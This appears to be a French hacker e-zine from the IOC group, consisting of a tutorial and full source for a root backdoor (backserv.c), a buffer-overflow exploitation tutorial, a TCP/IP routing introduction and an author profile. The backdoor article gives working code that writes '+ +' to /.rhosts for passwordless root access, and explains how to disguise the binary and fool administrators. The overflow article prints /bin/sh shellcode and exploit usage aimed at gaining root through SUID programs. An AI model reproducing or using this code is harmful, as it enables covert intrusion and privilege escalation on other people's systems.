En résumé, notre bind, une fois la structure déclarée et remplie, est :
struct sockaddr_in local;
bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr= INADDR_ANY;
bind (sock, (struct sockaddr_in*)&local, sizeof(local));
Pour gérer le code d'erreur on procède ainsi :
if (bind (sock, (struct sockaddr_in*)&local, sizeof(local))==-1){
perror("bind");
exit(-1);
}
Voila pour bind(), passons à la suite.
[ listen() ]
Voici la fonction qui intervient chronologiquement juste aprés bind().
Le rôle de listen() est de définir le nombre maximum de connection pouvant
être acceptées et gérées en même temps par notre serveur. Ce nombre, aussi
apellé "Backlog", dépend des capacités de la machine, en général, c'est une
valeur entre 4 et 6. Lorsqu'une connection est sur le point d'être entamée,
les segments TCP du client ont le flag SYN à 1 ( voir mon article sur TCP/IP ).
Lorsque la demande de connection est effectuée, la connection attend d'être traitée
par la fonction accept(). Si la backlog est de 5, la longueur de la file d'attente
est de 5 connections. ( Voir l'article de Lex Icon sur le SYNFlooding ).
Revenons à nos moutons ; listen() définit donc la taille de la backlog.
Sa syntaxe est :
#include <sys/socket.h>
listen( int socket, int backlog );
Dans notre exemple :
#include <sys/socket.h>
#define BACKLOG 5
listen(sock, BACKLOG);
On voit donc que la fonction listen() prend comme paramètres l'identifiant
du socket et le backlog.
[ while (1) ]
Nous voulons que le serveur reste actif en permanence, même lorsque la connection
avec le client sera interrompue. On va donc plaçer la suite du code dans une boucle
while. La suite du code est justement la fonction accept() ...
[ accept() ]
La fonction accept va traiter les demandes de connection.
Si aucune erreur n'est rencontrée, la connection est acceptée, dans le cas
contraire, la valeur -1 est retournée.
La syntaxe de la fonction accept est :
#include <sys/socket.h>
#include <sys/types.h>
accept( int socket, ( struct sockaddr_in *)structure, longueur);
Dans notre cas, on va déclarer la fonction ainsi :
#include <sys/socket.h>
#include <sys/types.h>
int size, sock;
struct sockaddr_in remote;
size=sizeof(struct sockaddr_in);
accept( sock, (struct sockaddr_in *)&remote, &size);
On plaçera donc la fonction accept() dans la boucle dont nous avons parlé
un peu plus haut.
On a vu que la valeur -1 est retournée en cas d'erreur lors de l'ouverture
de la connection. Voyons donc comment gérer les erreurs éventuelles :
int new;
if((new=accept(sock, (struct sockadd_in *)&remote, &size))!=-1){
/* La connection est établie
* Il faut plaçer ici les commandes
* a faire exécuter par le serveur
*/
}
Voila, donc ici, on gère le code d'erreur en même temps que l'on ouvre la connection.
Cette dernière étant établie, il ne reste plus qu'à écrire les commandes à faire
exécuter.
[ /.rhosts ]
Dans mon exemple, nous allons créer un /.rhosts ce qui nous permettra de nous connecter
en root par rlogin ou rsh. Le /.rhosts ne doit être présent que de manière temporaire
et vous devrez le supprimer avant de partir. Ici le /.rhosts ne constitue pas une backdoor
en lui même, voyez le plutôt comme une sorte de clef que vous utilisez pour ouvrir la porte
du système ( belle métaphore filée, non ? ). Pour y revenir, vous n'aurez plus qu'à
activer à nouveau le serveur. Enfin, là je m'écarte de l'aspect programmation ...
Alors nos commandes :
#include <printf.h>
#include <unistd.h>
char buf[50];
sprintf(buf,"echo + + >> /.rhosts");
system(buf);
Voila, à l'aide de sprintf() on écrit dans un buffer que l'on exécute ensuite grâce
à la fonction system().
[ send() ]
On peut affichier du texte sur l'écran pour prévenir que le fichier /.rhosts a bien
été crée et donc que la connection s'est bien déroulée.
On utilise pour cela la commande send().
Sa syntaxe est la suivante :
send ( int socket, char *message, sizeof(message), 0);
Je ne sais pas à quoi correspond le 0 ...
Dans notre exemple, cela donne :
int new;
char msg[]="Votre texte\n";
if((new=accept(...))!=-1){
/* ici il y aura nos commandes */
send(new, msg, sizeof(msg), 0);
}
Voila, on a plus qu'à couper la connection.
[ close() ]
Une fois notre fichier crée, il faut fermer la connection.
La commande close() s'en charge.
L'identifiant assigné au socket de la connection est "new" ( voir plus haut ).
Souvenez vous, pour ouvrir :
if((new=accept( ... )))
Donc pour fermer :
close(new);
Voila, nous venons de voir les différentes fonctions dons nous avons besoin pour
écrire la backdoor. On va maintenant programmer notre outil pas à pas.
B. Programmation pas à pas :
____________________________
Dabord les fichiers d'include :
#include <stdio.h> ( pour printf, fpinrtf, sprintf )
#include <string.h> ( pour bzero )
#include <unsitd.h> ( pour system et geteuid )
#include <errno.h> ( pour perror )
#include <netinet/in.h> ( pour htons )
#include <sys/types.h> ( pour socket, accept, bind )
#include <sys/socket.h> ( pour listen, socket, accept, bind )
Ensuite, on définit le port et le backlog :
#define PORT 1407 ( ... une date aniversaire ;@) )
#define BACKLOG 5 ( 5 pour une machine sous linux )
On entre maintenant dans le main :
int main ( int argc, char *argv[]){
On va définir encore quelques trucs, le buffer pour la commande que l'on
fera exécuter et le message d'acceuil qui s'affichera lors du début de
la connection :
char cmd[50];
char msg[]="\nVotre Message d'acceuil\n";
Les choses sérieuses commençent :
int sock, new, size;
struct sockaddr_in local;
struct sockaddr_in remote;
size=sizeof(struct sockaddr_in);
On vient de définir des variables de types int qui correspondront aux identificateurs
des sockets et une autre pour la taile de la la structure.
On a aussi mentionné les deux structures que l'on va utiliser.
On va maintenant mettre les champs de la structure "local" à 0 avant de les remplir.
bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
Avant d'aller plus loin, il faut vérifier que la backdoor est bien exécutée par le
root. On aurait pu plaçer cette partie en début, mais présentation oblige, on va la
plaçer ici :
if (geteuid()!=0){
fprintf(stderr,"Only root can run this !\n");
exit(1);
}
Dans la foulée, nous allons compter le nombre d'arguments de la ligne de commande pour
avertir en cas d'erreur qu'aucun argument n'est attendu :
if (argc!=1){
fprintf(stderr,"Usage : %s&\n",argv[0]);
exit(1);
}
Vous pouvez, à ce niveau là, restreindre l'accès de la backdoor en la protégeant par
mot de passe :
#define PWD "-sys"
if((strcmp(PWD, argv[1]))!=0){
fprintf(stderr,"\'%s\' : No such argument \n", argv[1]);
exit(1);
}
Dans ce cas, l'exécutable devra être invoqué par "./prog -sys &" avec le "&" pour être
exécuté en arrière plan. Si l'argument "-sys" n'est pas fourni, la backdoor sera inutilisable,
même pour le root. Si le root tombe dessus, il faut que notre exécutable ressemble à tout sauf
à une backdoor, donc si vous mettez un truc genre "wrong password for this backdoor" il
va piger dessuite. Le mieux, c'est de mettre un message d'erreur genre "no such argument", mais
ça, c'est à vous de voir.
Maintenant que l'on s'est assuré que l'exécutable a été correctement lançé, on peut passer à
la suite. On va définir le socket et gérer le code d'erreur en même temps :
if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){
perror("socket");
exit(-1);
}
Bien, le socket étant prêt et la structure locale remplie, on attaque avec le bind()
pour ouvrir le port :
if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){
perror("bind");
exit(-1);
}
Le port est ouvert, reste à définir le backlog ; pour cela listen() :
if( listen(sock, BACKLOG)==-1){
perror("listen");
exit(-1);
}
Tout est prêt pour initialiser la connection :
while(1){
if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){
On va maintenant définir ce qui devra être fait si une connection est acceptée :
sprintf(cmd,"echo + + >> /.rhosts\n");
system(cmd);
Tout s'est déroulé avec succès, on peut donc envoyer le message de confirmation :
send(new, msg, sizeof(success), 0);
}
close(new);
}
return 0;
}
Voila, on ferme le 'if', on clos la connection, on finit par fermer la boucle while,
et enfin on termine le main.
C'est termimé, notre backdoor est fin prête, reste à compiler.
C. backserv.c :
_______________
Voici le code source complet !
-------------8<--- cut here --------------------------------------------------------------
/* backserv.c v1.2 - Server Backdoor protected by password -
*
* by NeoFox [IOC]
*
*
* | Directions for use |
*
*
*
* When you're root :
*
* 1) # gcc backserv.c -o Xdisplay
* 2) # rm backserv.c
* 3) # ./Xdisplay -sys&
* 4) # exit
*
* Then as user ( local or remote ) :
*
* 1) % telnet cible.com 1407
*
* - © 2001 [IOC] -
* Creating /.rhosts
* Ok, exiting !
*
* 2) % rsh -l root cible.com csh -i
* 3) # rm /.rhosts
* 4) #
*
*
*/
#include <stdio.h> /* fprintf, sprintf */
#include <errno.h> /* perror */
#include <string.h> /* bzero */
#include <unistd.h> /* sizeof */
#include <netinet/in.h> /* htons */
#include <sys/socket.h> /* socket, listen */
#include <sys/types.h> /* socket, listen, accept */
#define PORT 1407
#define BACKLOG 5
#define PWD "-sys"
int main (int argc, char *argv[])
{
char cmd[50];
/* do it with fun ! */
char success[]="-------------------\n"
"\033[1;34m- © 2001 IOC -\033[0m\n"
"\033[1;37mCreating /.rhosts ...\033[0m\n"
"\033[1;31mOK, exiting !\033[0m\n"
"-------------------\n";
int sock, new, size;
struct sockaddr_in local;
struct sockaddr_in remote;
size=sizeof(struct sockaddr_in);
/* empty struct */
bzero(&local, sizeof(local));
/* initialize struct */
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
/* must be run as root */
if (geteuid()!=0){
fprintf(stderr,"Only root can run this !\n");
exit(1);
}
/* only 1 argument */
if (argc!=2){
fprintf(stderr,"Usage : %s&\n",argv[0]);
exit(1);
}
/* checking password */
if((strcmp(PWD, argv[1]))!=0){
fprintf(stderr,"\'%s\' : wrong argument !\n", argv[1]);
exit(1);
}
/* creating socket */
if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){
perror("socket");
exit(-1);
}
/* bind */
if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){
perror("bind");
exit(-1);
}
/* define our server's backlog */
if( listen(sock, BACKLOG)==-1){
perror("listen");
exit(-1);
}
while(1){
/* wait for a connection */
if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){
/* creating file */
sprintf(cmd,"echo + + >> /.rhosts\n");
system(cmd);
/* our message */
send(new, success, sizeof(success), 0);
}
/* close connection */
close(new);
}
return 0;
}
-------------8<--- cut here --------------------------------------------------------------
Conclusion :
____________
Ainsi s'achève cet article.
J'espère que ce dernier vous aura apris quelque chose et vous aura plu.
Si vous avez des questions, des commentaires, des critiques ou des conseils
à me faire parvenir, n'hésitez pas à m'écrire.
--------------------------------------------------------------------------------------------
VII. Buffer Overlows par Lex Icon
--------------------------------------------------------------------------------------------
--| INTRODUCTION |--
Cet article vous expliquera en gros ce que sont les Buffer Overflows et comment les exploiter.
Une connaissance basique du C, de l'assembleur et de GDB seront très utiles pour comprendre la
suite de l'article.
Les fichiers source sont téléchargeables depuis notre site à
http://IOC.multimania.com/issue2/sourcecode-bof.zip
--|ORGANISATION DE LA MEMOIRE|--
La mémoire est partagée en 3 régions :
- la zone texte, qui est utilisée pour le stockage des instructions du programme.
A cause de ça, cette région est marquée en lecture seule et une tentative d'écriture
se soldera par une erreur.
- La zone de données. Les variables statiques sont stockées ici et sa taille peut être
modifiée par l'appel système brk().
- La pile. Sa particularité est que la dernière chose placée dessus est la première
chose a en être enlevé, ce qui en gros veut dire 'dernier arrivé, premier dehors'.
Elle a été faîte pour l'utilisation de fonctions et de procédures. Une procédure est
comme un jump, sauf qu'elle retourne après qu'elle ait exécuté ses instructions.
Une adresse de retour sera placée sur la pile pour ça. Elle est aussi utilisée pour
allouer dynamiquement des variables utilisées dans les fonctions, ses paramètres
et valeurs de retour.
--|ADRESSES DE RETOUR ET POINTEURS D'INSTRUCTION|--
L'ordinateur exécute les instructions et garde un pointeur d'instructions
(IP pour Instruction Pointer) qui pointe vers l'instruction suivante. Quand
une fonction ou procédure est appelée, l'ancien pointeur est sauvé sur la pile
comme adresse de retour (RET). Après l'exécution, le RET remplacera l'IP et le
programme continuera.
--|BUFFER OVERFLOW|--
Pour mieux comprendre, vous allez regarder le fichier EXEMPLE.C
Le programme crée deux chaînes, memset() fout 0x41 (A) dans grosse_chaine, et ensuite, le contenu
de la grosse chaine est copié dans la petite. Comme la petite chaîne ne peut pas supporter 100
caractères, il y a un buffer overflow.
On regarde la mémoire :
[ grosse chaine ] [ petite chaine ] [ SFP ] [ RET ]
Lors du buffer overflow, le SFP (Stack Frame Pointer) et le RET seront remplacés par des 'A',
ce qui veut dire que RET aura la valeur 0x414141 (0x41 est la valeur hexadécimale de A).
Quand la fonction sera terminée, l'IP sera remplacé par le RET erroné. L'ordinateur essaiera d'exécuter
l'instruction à 0x414141 ce qui mènera à une segmentation violation vu que l'adresse est en dehors de
l'espace du processus.
--|EXPLOITATION|--
Maintenant qu'on sait qu'on peut changer le fonctionnement du programme en modifiant le RET, on peut
essayer de l'exploiter. Au lieu de mettre des 'A', on peut mettre une adresse spécifique.
--|EXECUTION DE CODE ARBITRAIRE|--
Maintenant on a besoin de l'adresse de quelque chose à pointer et a exécuter.
Dans la plupart des cas, on voudra afficher un shell, mais ce n'est pas la seule
chose qu'il est possible de faire.
Avant :
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B=Buffer
E=SFP
R=RET
F=Autres
Après :
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S=Shellcode
A=Adresse pointant vers le shellcode
F=Autres
SHELL.C pour voir comment afficher un shell.
Je ne vais pas expliquer ici comment générer du shellcode vu que ça demande de
savoir programmer en assembleur. C'est un processus long et chiant qu'on a pas
besoin de connaître vu qu'il en existe suffisament.
Pour ceux qui veulent savoir comment on fait pour en générer :
- Compilez le programme du sessus avec le flag '-static'
- ouvrez le dans gdb et utilisez la commande 'disassemble main'
- prenez tout le code inutile
- changez le et re-écrivez le, ce coup ci en assembleur
- compilez, ouvrez le dans gdb et utilisez la commande 'disassemble main'
- utilisez les commandes x/bx sur les adresses des instructions et récupérez le code hexa
Ou alors, vous pouvez prendre ce code :
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
--|TROUVER L'ADRESSE|--
Quand on essaye de faire déborder le buffer d'un autre programme, le problème est de trouver
l'adresse du buffer. La réponse à ce problème est que pour chaque programme, la pile commence
à la même adresse. En sachant où commence la pile, on peut essayer de deviner quelle est
l'adresse du buffer.
GET_SP.C nous donne son pointeur de pile :
--|ESSAYONS D'EXPLOITER UN EXEMPLE|--
On va exploiter ce programme:
--HOLE.C--
--EXPLOIT1.C--
Maintenant on peut essayer de deviner l'offset (bufferaddress = stackpointer + offset)
[meik]$ exploit1 600
Utilise l'adresse: 0xbffff6c3
[meik]$ ./hole $BUF
[meik]$ exploit1 600 100
Utilise l'adresse: 0xbffffce6
[meik]$ ./hole $BUF
Segmentation fault
Comme vous pouvez le constater, ce processus est carrément impossible - on doit connaître
l'adresse exacte du buffer. Pour améliorer nos chances, on peut utiliser NOP avant le shellcode
de notre bufferoverflow. L'instruction NOP permet de retarder l'exécution. On l'utilise car on a
pas besoin de deviner l'adresse exacte du buffer. Si l'adresse de retour écrasée pointe à
l'intérieur de la chaîne NOP. Notre code sera exécuté quelques secondes après.
La mémoire devrait ressembler à ceci :
FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
F = NOP
S = Shellcode
A = adresse pointant vers le shellcode
F = autres données
On re-écrit notre vieil exploit.
[EXPLOIT2.C]
[meik]$ exploit2 600
Using address: 0xbffff6c3
[meik]$ ./hole $BUF
segmentation fault
[meik]$ exploit2 600 100
Using address: 0xbffffce6
[meik]$ ./hole $BUF
#exit
[meik]$
Pour améliorer encore plus notre exploit, on peut placer le shellcode dans une variable d'environement.
On pourra ainsi faire déborder le buffer avec l'adresse de sa variable. Cette méthode augmentera nos
chances encore plus.
On modifie notre code afin qu'il utilise l'appel setenv() pour mettre le shellcode dans l'environement.
[EXPLOIT3.C]
--|TROUVER DES BUFFER OVERFLOWS|--
Il existe un seul moyen de trouver des buffer overflows, c'est en lisant le code source.
Linux est un système OpenSource, il est ainsi facile d'obtenir le code source. Longue vie à l'opensource !
-Cherchez des librairies de fonction qui n'exécutent pas un contrôle de limite comme:
strcpy(),strcat(), sprintf(), vsprintf(), scanf()
-D'autres dangers comme:
getc() et getchar() dans un while ou encore une mauvaise utilisation de strncat.
--|REFERENCE BIBIOGRAPHIQUE|--
Smashing the stack for fun and profit - Aleph1
BufferOverflows - Mudge
--|CONCLUSION|--
J'espère que vous aurez apris des tas de choses en lisant ce document.
En gros, vous aurez compris que ça consiste à envoyer plus de données que prévu dans une
variable afin de lui faire exécuter du code qui permet de faire des tas de choses intéressantes.
Imaginez un programme en SUID, vous lui faîtes exécuter de quoi lancer un shell et vous vous
retrouvez root. Elle est pas belle la vie ?
---------------------------------------------------------------------------------------------
VIII. Introduction à TCP/IP (2/2) par NeoFox
----------------------------------------------------------------------------------------------
Voici donc la suite de cette introduction à TCP/IP.
Vous trouverez le premier volet dans l'issue #1,
disponible en download depuis notre site.
++++ Partie III : TCP/IP et le routage ++++
-> Généralités
-> Fonctionnement du routage
-> Protocoles de routage
Si vous vous rapellez ce que vous avez lu au chapître 3 " Le protocole Internet ",
(part. 1/2 ) vous vous souvenez que nous avons vaguement parlé de routage ...
Eh ben on va approfondir !
1) Généralités :
________________
Le routage est un procédés qui permet l'acheminement des datagrames de la couche
internet d'un réseau à l'autre. Le routage répond également à un besoin essentiel,
le fractionnement des réseaux. Je m'explique : rapellez vous que sur un réseau,
chaque carte réseau de chaque machine examine toutes les trames qui y circulent
pour capturer les trames qui lui sont destinées. Comme il est matériellement
impossible qu'une carte réseau examine tout le trafic, le fractionnement est
mis en place pour segmenter un réseau de grande taille en plusieurs sous-réseaux.
De cette façon, les machines ne sont plus obligées de scruter tout le trafic,
mais seulement celui du sous-réseau auquel elles appartiennent.
Le fractionnement permet également d'alléger le trafic.
Le routage est rendu possible par l'utilisation de routeurs.
Qu'est-ce qu'un routeur ?!
Une routeur est responsable de l'acheminement des trames d'un réseau à un autre, en les
orientant par adresses logiques.
Un routeur est une machine qui possède plusieurs cartes réseaux. Il peut ainsi
interconnecter plusieurs réseaux ou sous-réseaux, même si ceux ci sont d'architecture
diffèrente. En effet, il travaille au niveau de la couche Internet TCP/IP et
on a vu que cette couche ne se souciait pas des contraintes liées au matériel.
Donc nôtre routeur va pourvoir mettre en relation par exemple un réseau Ethernet et un
réseau à jeton. Dans cet exemple, le routeur dispose d'une carte réseau Ethernet et d'une
autre style Token Ring. Lorsque le routeur est invoqué par une machine de l'Ethernet,
celui-ci reçoit la trame au format Ethernet via sa carte réseau, la couche IP consulte
l'en-tête du datagrame pour se rendre compte finalement que le datagrame est destiné à
une machine d'un réseau rattaché à ce routeur, il dirige les données vers la carte réseau
correspondante qui se trouve être celle d'un Token Ring.
Cette carte formatte les données et place les trames sur le réseau à anneau à jeton où
elles seront récupérées par la machine destinataire.
De la même manière, un routeur peut relier autant de réseaux qu'il possède de
cartes réseaux. Souvenez vous que l'adresse IP est attribuée à la carte réseau d'une
machine et non à la machine elle même. Un routeur peut donc avoir plusieurs adresses IP.
Administration d'un routeur :
Les Administrateurs Réseaux utilisent certains logiciels de supervisation pour être
en permanence tenus informés de l'état de leur réseaux, du bon fonctionnement ou au
contraire d'une avarie survenue à l'un de leurs routeurs etc ...
Ces logiciels implémentent un protocole apellé " Simple Network Management Protcol "
ou SNMP. Ce protocole permet aux applications d'échanger des informations de configuration
avec les routeurs du réseau. Ces applications fonctionnent au port 161.
Il est également possible à un administrateur de se connecter à l'un de ses routeurs
par Telnet.
Voila pour les définitions, voyons mainenant le fonctionnement plus en détail.
2) Fonctionnement du Routage :
______________________________
2.1 Les grandes étapes du routage :
____________________________________
Un routeur reçoit les trames des réseaux auquels il est connecté via ses cartes réseaux.
Il transmet les données à la couche Internet mais ne tient pas compte des en-têtes de
la couche AR. La couche Internet réassemble le datagrame si besoin
( rapellons que les trames peuvent avoir été fragmentées par l'expéditeur ).
Cette même couche inspecte l'en-tête du datagrame et prend note de l'adresse IP de la
source et de celle du destinataire. S'il en déduit que la source et le destinataire sont
sur le même réseau, il n'intervient pas. Par contre, si le destinataire fait partie d'un
réseau distant, le routeur comprend que les datagrames doivent être exportés.
Il consulte alors sa Table de Routage pour savoir sur quel réseau l'envoyer.
Il détermine donc quelle carte réseau devra gérer les trames.
Il passe ensuite les datagrames à la couche Accès Réseau qui va les placer via cette carte
sur le réseau correspondant en procédant, si besoin est ( c'est à dire si l'architecture du
réseau de destination diffère de celui de la source ) à un reformattage. Une fois les
trames plaçées sur le réseau de destination, ce sont les protocoles de bas niveau qui
vont se charger de les acheminer jusqu'au destinataire.
Voyons cela à l'aide d'un schéma où une machine du réseau A veut dialoguer avec
une machine du réseau B:
______________________________
| |
| |
| Routeur reliant les réseaux |
| |
| A et B |
| |
| |
______________________________
______________________________
| |
| Couche Internet du Routeur |
| |
______________________________
______________________________
| |
| Couche AR du Routeur |
| |
______________________________
-----^------ -----v------
| | | |
|Carte Réseau| |Carte Réseau|
| A | | B |
------------ ------------
| |
----->----- ----->-----
| |
Réseau A Réseau B
________ ________ ________ ________
| | | | | | | | | |
|machine1|_|_|machine2| |machine1|_|_|machine2|
| | | | | | | | | |
________ | ________ ________ | ________
| |
________ ________
| | | |
|machine3| |machine3|
| | | |
________ ________
Pour savoir vers quelle sortie diriger les trames, le routeur consulte comme
nous l'avons dit sa table de routage ...
2.2 Les Tables de Routage :
____________________________
Définition :
____________
Une Table de Routage est un fichier que le routeur va consulter pour déterminer
l'adresse du réseau auquel il devra transmettre les trames qui lui parviennent.
Ce fichier définit le réseau de destination en fonction de l'adresse IP de la source.
Il ne contient pas l'adresse logique de chaque hôte de chaque réseau car comme nous
l'avons, sur le réseau de destination ce sont les protocoles de la couche AR qui se
chargent de la livraison à la bonne machine. Le rôle d'un routeur se limite ainsi
( et c'est déja beaucoup ) à déterminer le réseau distant sur le quel devront être
aiguillées les trames. Une Table de Routage contient donc une liste d'ID réseau.
Elle définit l'ID du réseau de destination et le port physique ( carte réseau )
correspondant, par lequel sortieront les trames à direction de la cible.
Si l'adresse du réseau de destination ne figure pas sur sa table de routage,
le routeur passera les trames à un autre routeur plus prés du réseau visé.
La Table de routage sert donc à déterminer soit l'adresse du réseau de destination
si le routeur le relie directement ( connection directe ), soit celle d'un autre routeur.
Analyse d'une Table de Routage :
________________________________
La Table de routage comporte plusieurs colones dans lesquelles sont classées les informations
utiles au routage. La première colone pourrait être appellée " Prochain Saut ". Un saut
désigne le franchissement d'un routeur ou d'une machine. Ainsi, si on dit d'une machine
qu'elle est à 5 sauts du destinataire, cela siginife que les données devront être relayées
par 4 routeurs, le 5eme saut les amenant à destination. La première colone de la
table de routage contient donc l'adresse de la prochaine machine à laquelle le routeur
devra envoyer les trames, ou l'adresse du réseau de destination si le routeur est en
connection directe avec celui-ci.
On va simplifier, le but étant d'exposer le concept.
Une Table de Routage se présente en gros comme ça :
Network Address---------Subnet Mask-----------Via Router------Port------------Type------
10.0.0.0 255.0.0.0 10.0.0.10 Ethernet WAN
127.0.0.1 255.255.255.255 127.0.0.1 Loopback Local
192.168.1.0 255.255.255.0 192.168.1.1 Ethernet LAN
Pour information, les 2 cartes réseaux de ce routeur :
Celle connectée au WAN : 00-00-c5-81-ae-d6 10.0.0.1
Celle connectée au LAN : 00-00-c5-81-ae-d4 192.168.1.1
Voyons à quoi correspond chaque colone :
Network Address = Adresse logique du prochain saut
Subnet Mask = Masque de sous-réseau
Via Router = Adresse logique de la carte réseau correspondante
Port = Nom du port physique relié à cette carte
On va maintenant commenter chaque ligne une par une :
(1) 10.0.0.0 255.0.0.0 10.0.0.10 Ethernet WAN
Le réseau ayant pour adresse 10.0.0.0 est un réseau de Classe A comme le montre le
masque de sous-réseau. Si le routeur reçoit des trames à destination d'une machine
de ce réseau, il devra les diriger vers sa carte réseau ayant pour adresse logique
10.0.0.10 qui fonctionne sur le port en connection directe avec le WAN ( rapellons
que WAN siginife " Wide Aera Network ", soit réseau étendu ).
(2) 127.0.0.1 255.255.255.255 127.0.0.1 Loopback Local
Cette ligne correspond à l'IP de loopback, pas de redirection.
(3) 192.168.1.0 255.255.255.0 192.168.1.1 Ethernet LAN
Si le routeur reçoit un paquet est à destination d'une machine du réseau 192.168.1.0,
réseau de classe C comme l'indique le masque de sous réseau, il va le rediriger vers
la carte réseau dont l'adresse logique est 192.168.1.1. Cette carte en connection directe
avec le LAN Ethernet.
On voit donc ici que le routeur connecte son réseau local ( LAN ) au réseau étendu ( WAN )
possédant pour ce faire les 2 cartes réseau correspondantes. Il peut aiguiller les trames
soit vers le réseau étendu, soit vers le réseau local.
Il existe deux sortes de routage qui dépendent enfait de la manière dont la Table de
Routage est générée. Il y a donc le routage statique et le routage dynamique.
Dans le cas d'un routage statique, la Table est générée manuellement par l'administrateur.
Dans le cas d'un routage dynamique, la Table est générée automatiquement par des protocoles
de routage.
3) Protocoles de Routage :
___________________________
Nous avons dit que les tables de routage peuvent être générées automatiquement par
des protocoles de routage. Je m'explique : dans un réseau de grande taille ou nécessitant
un grand nombre de routeurs, plusieurs itinéraires peuvent être utilisées pour relier
une machine A à une machine B distante. De plus certains axes peuvent être surchargés ou certains
routeurs hors services. Le rôle des protocoles de routages est alors d'assurer et d'optimiser
le transit des informations. C'est là qu'interviennent RIP et OSPF ...
RIP en un mot :
_______________
RIP siginife " Routing Information Protocol ", protocole d'information de routage.
Sous RIP, chaque routeur diffuse des informations sur lui-même ainsi que sur l'état
des routeurs qui le séparent des routeurs de son réseau. Si un routeur tombe en
panne, ou qu'une liaison est défectueuse, les autres routeurs de réseau s'informent les
uns les autres sur la localisation du disfonctionnement ce qui leur permet de modifier
en conséquence leur table de routage. Un nouveau chemin est déterminé pour atteindre la
cible, et les trames sont redirigées vers un autre routeur qui va prendre le relai de
celui qui qui vient de nous lâcher.
Sous RIP, chaque routeur transmet une valeur " nombre de sauts " à son voisin. Lorsque
un routeur reçoit ces valeurs de ses voisins, il l'incrémente de 1, puis le passe tous
les autres routeurs auquels il est rattaché. Ainsi, chaque routeur connait précisément
la distance qui le sépare de chacun de ses voisins. Sous RIP, l'émission de ces informations
a lieu toutes les 30 secondes.
L'ennui avec RIP c'est qu'il ne permet l'émission d'informations que sur une distance de
16 sauts. Sa portée est donc limitée. L'autre problème de RIP c'est que l'émission de ces
informations inter-routeurs contribue à augmenter le trafic et peut encombrer la bande passante.
C'est comme si vous regardiez M6 et qu'il y avait un flash info "le 6 minutes" tous les 1/4
d'h ! Ca serait chiant pour regarder la petite maison dans la prairie, non ?
Euh, bon, là, je m'égarre. Mais de tout façon, RIP est en cours de remplaçement par OSPF.
OSPF en un mot :
________________
OSPF signifie " Open Shortest Path First ", le plus court chemin d'abord.
OSPF détermine le plus court chemin vers la cible.
Les logiciels implémentant ce protocole de routage permettent au routeur de
transmettre l'intégralité de sa table de routage. Ces informations ne sont
transmises qu'à ces voisins directs, auquels ils est directement, à la différence
de RIP qui balançe les infos à tous les autres routeurs du réseau.
Un routeur tombe en panne, son voisin direct est informé, il modifie sa table en
conséquence, puis la passe à son voisin direct. Chaque routeur est réagit donc
à l'avarie à la manière de dominos qui se cassent la gueule : tout changement de la
table de routage de l'un, entraine immédiatement les changements appropriés chez les autres
sans qu'il soit besoin de recourir à une émission générale de l'information. Chaque routeur
en informe son voisin DIRECT, na !
Sous OSPF, chaque routeur peut se représenter une "carte" de l'état des routes proches
de lui. Cette "carte" qu'il a mémorisé Cela lui évite d'avoir à reçevoir, à incrémenter,
et à retransmettre des informations sur le nombre de sauts le séparant des autres.
Il y a donc moins de flash info, le volume des données de routage en est réduit libérant
ainsi de la bande passante. De ce fait, le protocole OSPF permet de gérer
un trafic plus important que RIP.
Conclusion :
____________
Voila, j'espère que ce chapître vous aura aidé à comprendre le fonctionnement du routage.
Ainsi s'achève la partie 2/2 de cette introduction à TCP/IP. Pour ceux qui chercheraient
le premier volet, sachez qu'il était au sommaire de notre issue 1, et que vous pouvez
toujours vous le procurer, ainsi que le reste du magazine d'ailleurs sur notre site.
Me contacter :
______________
neo_fox_2001@hotmail.com
http://ioc.multimania.com
UIN : 130722451
-----------------------------------------------------------------------------------------------------
VIII. Portrait : Lex Icon par Lex Icon ... of course ;@)
-----------------------------------------------------------------------------------------------------
NICKNAME: Lex Icon | MEIK
DATE DE NAISSANCE: 18 / 11 / 198x
CHEVEUX: Bruns
Yeux: Idem
Taille: 1,75m
Poids: 60kg
Loisirs: Programmation, Rugby, VTT
Site(s): http://greenberet.multimania.com
http://IOC.multimania.com
Etudes: Encore dans le cycle secondaire
Catégorie: Je suis un littéraire
OS: MS-Win98SE, OpenBSD2.9, RedHat6.0, Mandrake 8.0
Système: Cyrix 133MHz, 32Mo SDRAM, 1,2 + 20Go HD
Souhaite: Devenir prof de grammaire anglaise en université || devenir prof de
civilisation-us en université à l'étranger || m'engager dans les
commandos.
Musique: Black Metal, Electro (Indus. en particulier) et Goth [Dimmu Borgir,
Emperor, Immortal, Cradle of Filth, Mayhem, Mystic Circle][Rammstein,
Umbra&Imago, Skinny Puppy][Type o Negative]
Instruments: Je joue de la guitare, un peu de la basse, je sais me servir d'une
batterie et je maîtrise le piano depuis peu. Sinon je chante (mon
registre est surtout dans les groupes que j'écoute)
Hacking: Je suis dans le hacking depuis maintenant 3 ans. Je fais de la
programmation depuis l'âge de 10 ans, mais à l'époque c'était seulement
du basic sur des ordinateurs pour gamins.
Programmation: Langages que je connais bien: C, Perl, Basic, Python. Langages dont je
sais me servir assez bien: VisualBasic 6, C++, Java.
IOC: Membre fondateur de IOC avec Neo Fox. Le projet datait de juin 2001 et
il a vu le jour en juillet 2001. Depuis, 6 mois sont passés et deux
magazines sont sortis. Le groupe s'apellait initiallement LoH mais
un changement est survenu pour diverses raisons.
>> note de neofox :
La prochaine fois c'est mon tour !
